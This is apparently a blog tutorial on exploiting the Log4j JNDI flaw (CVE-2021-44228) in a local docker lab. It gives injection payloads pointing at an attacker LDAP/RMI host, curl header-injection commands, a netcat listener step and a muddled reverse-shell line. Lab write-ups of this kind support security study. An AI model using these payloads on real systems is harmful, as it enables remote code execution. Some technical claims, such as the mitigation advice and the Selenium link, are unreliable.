Exploiting the Log4J Vulnerability [CVE-2021–44228]

Well it looks like Christmas came early for pentesters , hackers and bug bounty hunters. First, the grafana 0-day exploit that made headlines and then if that was an appetizer the Apache Log4J 0-day was the whole meal that sealed it. Who knows what is up next?..

What is Log4j?

Well as the name suggests it is a logging framework used with log4j implementation that is brought to you by the Apache group. Hence, the name Apache log4j. This is used by developers to use logging via selenium (another goto package for Java devs) running apps over Apache’s services. Using this a dev may understand what information has been received into an application. Now this is enabled by default by many devs and engineers from the DevOps team to automate their software execution processes.

Here comes the painnn….

What is the fuss all about.

To put it into perspective, around 3.5 billion devices are used over JAVA [well that’s what ORACLE advertises] and could be even more! Most of these JAVA applications use Log4j as the common implementation as a logging API for logging.

Now here comes this researcher “Chen Zhaojun of Alibaba Cloud Security Team”[https://github.com/apache/logging-log4j2/pull/608] that finds a 0-day in this logging framework that could cause a code execution and a potential control over the victim instance running it.

Okay why so serious about it?

Remember the 3.5 billion devices phrase, well what if this exploit could be used by attackers against all those enterprises/devices running this apache framework. Some serious compromising bombs be dropped on them.

This is how an attack vector using this vulnerability typically looks like:

The log4j versions until the fix released where allowing JNDI [Java Naming and Directory Interface: a native directory API] to lookup , retrieve objects in local or virtual context over data and resources by a name via RMI and LDAP queries using this API AFAIK.

Whenever, a log entry is created the JNDI interface is encountered and invoked which supports RMI and LDAP calls as well. Now, in this process, it may be possible to download remote classes and execute them.

SAMPLE VULNERABLE CODE:

All an attacker has to do is use a JNDI reference such as ${jndi:rmi://attacker_server_query } or ${jndi:ldap://attacker_server_query}, as an input like such gets logged , will parse as text and resolve it [deserialise it!]. Thus, when this happens it allows an attacker to control the objects being retrieved.

Enough talk… now the demo of this BAD BOY!

That was some source code level understanding. The fun part is to exploit this issue in a safer and test environment.

For this i have used this awesome repository here: https://github.com/leonjza/log4jpwn that gives a log4j rce test environment.

You can maven build this or simply run the docker image as i did for a quick bite of this vulnerability.

1. Clone the repo.

2. Run the docker build with “docker build -t log4jpwn .”

3. Check the local subnet in which your docker runs, typically Docker uses the default 172.17. 0.0/16 subnet for container networking. Anyways crosscheck once.

4. Run the app server with the command: docker run — rm -p5555:8080 log4jpwn and check localhost:5555[in my case i gave 5555 as app’s running service port]

5. Now setup a netcat listener to test if you can receive any active connections:

6. To test the vulnerability try invoking a curl request or Invoke-WebRequest[if on windows powershell] by specifying any header with a malicious value. It could be ‘X-Api-Version: ${jndi:ldap://127.0.0.1/a}’ or a target a common header such as USER_AGENT with: curl -H ‘User-Agent: ${jndi:ldap://172.16.182.1:8081/a}’ localhost:8080

sample curl request

7. Check your listener for any connection pings, if ping received it ensures command injection:

8. From here further you can invoke and specify shell commands as part of the curl request such as /bin/bash <host> and <port> or ${jndi:ldap://attacker_ip:8081/a}’ localhost:8080|bash to invoke a shell.

Mitigation

The CVE-2021–44228 vulnerability is still being actively investigated in order to properly identify the full scope severity. For now update the log4j to Log4j 2 versions to eliminate this vulnerability.